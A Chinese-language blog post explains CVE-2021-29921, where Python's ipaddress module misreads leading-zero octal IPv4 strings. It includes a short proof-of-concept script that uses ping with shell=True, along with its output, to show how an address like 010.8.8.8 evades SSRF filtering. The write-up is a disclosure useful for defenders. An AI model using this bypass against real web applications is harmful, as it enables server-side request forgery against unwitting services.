今天,Python官方放出了一个因为IP地址解析问题导致的漏洞,影响的版本是Python3.8到Python3.10,截止目前漏洞还没有修复。
这个漏洞是因为python stdlib 中的 ipaddress 处理八进制不正确输入的验证导致不确定的SSRF & RFI ,主要的思路是把ip地址前置0,搞成八进制。
此漏洞CVE ID 为CVE-2021-29921漏洞详情链接:https://sick.codes/sick-2021-014/
在Python3.8.0到Python3.10版本中的stdlib ipaddress,当八进制字符串为输入的时候,验证允许未经身份验证的远程攻击者对许多依赖于Python stdlib ipaddress 的程序执行不确定的SSRF, RFI和LFI攻击。
这个漏洞导致IP地址保护被去除,不能作为有效的IP地址来计算。攻击者可以向依赖stdlib ipaddress的web应用,提交IP地址,通过输入八进制数据导致SSRF。攻击者提交的可利用的IP地址,如果是3位的八进制数,范围为08-099。例如:提交的IP为010.8.8.8,Python ipaddress 会将其评估为10.8.8.8
下面是验证程序:
#!/usr/bin/env python# Authors: sickcodes, Victor Viale# License: GPLv3+# Reference: https://docs.python.org/3.10/library/ipaddress.html#ipaddress.IPv4Address
# Leading zeroes are tolerated only for values less than 8 (as there is no ambiguity between the decimal and octal interpretations of such strings).
import subprocessimport ipaddress
SUSPECT = '010.8.8.8'
print(ipaddress.ip_network(SUSPECT, strict=True))
BAD_IP = ipaddress.ip_address(SUSPECT)
print('http://'+str(BAD_IP))
print(str(subprocess.check_output("ping -W3 -v -c1 "+str(SUSPECT), shell=True, universal_newlines=True).strip()))
print(str(subprocess.check_output("ping -W3 -v -c1 "+str(BAD_IP), shell=True, universal_newlines=True).strip()))
运行结果:
10.8.8.8/32
http://10.8.8.8
PING 010.8.8.8 (8.8.8.8): 56 data bytes
--- 010.8.8.8 ping statistics ---
1 packets transmitted, 1 packets received, 0.0% packet loss, 1 packets out of wait time
round-trip min/avg/max/stddev = 334.357/334.357/334.357/0.000 ms
Traceback (most recent call last):
File "test.py", line 14, in <module>
print(str(subprocess.check_output("ping -W3 -v -c1 "+str(BAD_IP), shell=True, universal_newlines=True).strip()))
File "/Applications/Xcode.app/Contents/Developer/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/subprocess.py", line 411, in check_output
return run(*popenargs, stdout=PIPE, timeout=timeout, check=True,
File "/Applications/Xcode.app/Contents/Developer/Library/Frameworks/Python3.framework/Versions/3.8/lib/python3.8/subprocess.py", line 512, in run
raise CalledProcessError(retcode, process.args,
subprocess.CalledProcessError: Command 'ping -W3 -v -c1 10.8.8.8' returned non-zero exit status 2.
可以看到,经过ipaddress.ip_address处理的恶意IP地址010.8.8.8,变成了 10.8.8.8,去掉了前面的0,ping不成功。而直接使用010.8.8.8 进行ping 则成功解析到了8.8.8.8。
原创文章,作者:flypython,如若转载,请注明出处:http://flypython.com/sec/451.html
您必须登录才能发表评论。